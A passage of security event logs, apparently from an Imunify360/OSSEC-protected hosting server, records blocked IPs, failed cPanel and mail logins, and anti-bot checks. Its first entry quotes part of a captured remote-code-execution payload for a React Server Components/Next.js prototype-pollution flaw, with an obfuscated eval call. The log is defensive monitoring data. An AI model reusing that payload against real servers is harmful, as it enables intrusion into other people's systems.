country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"_40ca55ef\":\"0835\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var abiq=[].slice.call(arguments,1)[0];var kqqs=abiq;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 152.32.188.174
country_id: 1819730
description:
Jun 13 00:52:01 ns5 pure-ftpd[2006846]: (?@152.32.188.174) [INFO] New connection from 152.32.188.174


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-13 00:53:17 +0000] info [cpaneld] 102.64.171.58 - mvfxewjz "GET /cpsess9122583340/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 00:55:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 00:55:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-13 00:55:57 H=([103.76.88.37]) [103.76.88.37]:61321 F=<info@sample.com> rejected RCPT <blakeshelton007@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.101.157.121
country_id: 2921044
description:
191.101.157.121 - - [13/Jun/2026:00:57:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858405&pdata=https%253A%252F%252Fwww.camilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312272 HTTP/2.0" 302 0 www.camilliens.tg "https://www.camilliens.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.101.157.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.176.186.1
country_id: 2542007
description:
160.176.186.1 - - [13/Jun/2026:00:58:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867927&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freceptions-et-cadeaux-interdits-apres-les-soutenances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312327 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/receptions-et-cadeaux-interdits-apres-les-soutenances/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4923.1762 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.176.186.1


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 101.99.88.195
country_id: 1733045
description:
[2026-06-13 00:58:53 +0000] info [cpaneld] 101.99.88.195 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 148.3.161.138
country_id: 2510769
description:
148.3.161.138 - - [13/Jun/2026:01:02:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515043&pdata=https%253A%252F%252Fdirect7.tg%252F%253Fp%253D15454&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312569 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/?p=15454" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:148.3.161.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 13 01:09:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 01:09:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.26.184.5
country_id: 6252001
description:
Jun 13 01:10:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.26.184.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.201.170
country_id: 1269750
description:
Jun 13 01:09:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.201.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 13 01:09:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 13 01:09:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.249.88
country_id: 1269750
description:
Jun 13 01:10:00 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.249.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.186.136.36
country_id: 1814991
description:
Jun 13 01:11:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.186.136.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 01:10:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 13 01:10:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.129.217.70
country_id: 1269750
description:
Jun 13 01:11:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.129.217.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 13 01:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 13 01:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.72.240.250
country_id: 3469034
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:185.72.240.250||TA:185.72.240.250||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.129.217.70
country_id: 1269750
description:
Jun 13 01:11:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.129.217.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.162
country_id: 1269750
description:
Jun 13 01:11:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.162 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.101
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:206.232.103.101||TA:206.232.103.101||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 13 01:17:41 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.107
country_id: 3865483
description:
Jun 13 01:19:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.107
country_id: 3865483
description:
Jun 13 01:19:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.194.201
country_id: 3625428
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2017/01/Decret-2000-090-DU-8_11_00.pdf HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-13 01:25:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48774: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.233.40.195
country_id: 2921044
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-27.167.233.40.195||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 13 01:32:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.226.154.101
country_id: 1880251
description:
129.226.154.101 - - [13/Jun/2026:01:38:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249882&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-manifestations-pacifiques-publiques-fabien-offner-les-autorites-togolaises-doivent-lever-cette-interdiction%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781314678 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-manifestations-pacifiques-publiques-fabien-offner-les-autorites-togolaises-doivent-lever-cette-interdiction/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.226.154.101


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 01:38:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.19.215.51
country_id: 2017370
description:
Jun 13 01:40:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.19.215.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.19.215.51
country_id: 2017370
description:
2026-06-13 01:40:57 dovecot_plain authenticator failed for H=(m54sr3feh33w43y0jnx0r0i44u) [89.19.215.51]:48746: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.59.31.125
country_id: 3017382
description:
[2026-06-13 01:42:12 +0000] info [whostmgrd] 194.59.31.125 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID 5jstvk) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 194.59.31.125
country_id: 3017382
description:
[2026-06-13 01:42:14 +0000] info [whostmgrd] 194.59.31.125 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.223
country_id: 3469034
description:
Jun 13 01:41:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.223 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:01:47:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527332&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315220 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [13/Jun/2026:01:46:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673364&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315218 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.129.13.8
country_id: 1210997
description:
114.129.13.8 - - [13/Jun/2026:01:50:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802859&pdata=https%253A%252F%252Ftogodailynews.tg%252Frehabilitation-et-modernisation-des-centres-hospitaliers-de-kara-faure-gnassingbe-senquiert-de-levolution-des-travaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315442 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rehabilitation-et-modernisation-des-centres-hospitaliers-de-kara-faure-gnassingbe-senquiert-de-levolution-des-travaux/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5434.1909 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.129.13.8


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.245.232.117
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-les-pratiques-qui-rendent-propre-le-systeme-judiciaire/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:01:53:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750683&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315621 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:01:53:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015191&pdata=https%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315626 HTTP/2.0" 302 0 flp-tg.com "https://flp-tg.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 157.100.88.168
country_id: 3658394
description:
157.100.88.168 - - [13/Jun/2026:01:53:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134184&pdata=https%253A%252F%252Ftogodailynews.tg%252F20eme-forum-economique-international-victoire-tomegah-dogbe-expose-la-vision-du-togo-de-demain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315613 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/20eme-forum-economique-international-victoire-tomegah-dogbe-expose-la-vision-du-togo-de-demain/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5646.1971 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:157.100.88.168


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.55
country_id: 6252001
description:
205.169.39.55 - - [13/Jun/2026:01:53:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869512&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315620 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.55


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.29.136
country_id: 2017370
description:
2026-06-13 01:57:25 dovecot_plain authenticator failed for H=(unnurifer) [31.173.29.136]:29553: 535 Incorrect authentication data (set_id=admin@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.29.136
country_id: 2017370
description:
Jun 13 01:57:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.29.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 01:59:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 02:01:59 +0000] info [cpaneld] 45.61.130.187 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.172.95.179
country_id: 6252001
description:
[2026-06-13 02:04:48 +0000] info [cpaneld] 144.172.95.179 - nwvfmxat "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.14.246.44
country_id: 1814991
description:
2026-06-13 02:05:44 dovecot_plain authenticator failed for H=(gg4pqzzcgxzmvc5zonfa6gr5) [106.14.246.44]:58024: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.14.246.44
country_id: 1814991
description:
Jun 13 02:05:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.14.246.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:07:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:07:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:46640: 535 Incorrect authentication data (set_id=ssladmin)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:08:44 ns5 pure-ftpd[2047589]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.0.189.231
country_id: 3469034
description:
Jun 13 02:09:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.0.189.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:23 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:22 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.227
country_id: 3469034
description:
Jun 13 02:13:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:15:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:15:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:59329: 535 Incorrect authentication data (set_id=anthony)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.43.193.138
country_id: 357994
description:
[2026-06-13 02:17:35 +0000] info [whostmgrd] 197.43.193.138 - apluser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jun 13 02:17:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.119.99.90
country_id: 1831722
description:
[2026-06-13 02:18:58 +0000] info [cpaneld] 103.119.99.90 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.29.241.119
country_id: 248816
description:
[2026-06-13 02:21:15 +0000] info [cpaneld] 176.29.241.119 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [13/Jun/2026:02:20:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001094&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftransport-maritime-les-differents-types-dhelices-pour-les-navires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317252 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/transport-maritime-les-differents-types-dhelices-pour-les-navires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.133
country_id: 3469034
description:
Jun 13 02:20:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.109.82.144
country_id: 3469034
description:
[2026-06-13 02:21:00 +0000] info [cpaneld] 179.109.82.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.113.250.190
country_id: 2017370
description:
[2026-06-13 02:21:02 +0000] info [cpaneld] 37.113.250.190 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.63.9.214
country_id: 290291
description:
[2026-06-13 02:21:07 +0000] info [cpaneld] 109.63.9.214 - tchambainves "GET /login/?login_only=1&user=tchambainves&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainves (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.43.137.129
country_id: 2921044
description:
[2026-06-13 02:21:13 +0000] info [cpaneld] 78.43.137.129 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.6.36.145
country_id: 3469034
description:
[2026-06-13 02:21:27 +0000] info [cpaneld] 45.6.36.145 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.220.122
country_id: 3469034
description:
[2026-06-13 02:21:21 +0000] info [cpaneld] 177.136.220.122 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.44.85.38
country_id: 3508796
description:
[2026-06-13 02:21:33 +0000] info [cpaneld] 38.44.85.38 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.114.239.53
country_id: 3865483
description:
190.114.239.53 - - [13/Jun/2026:02:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315366&pdata=https%253A%252F%252Ftogodailynews.tg%252Finauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317338 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/inauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.8017.1798 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.114.239.53


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
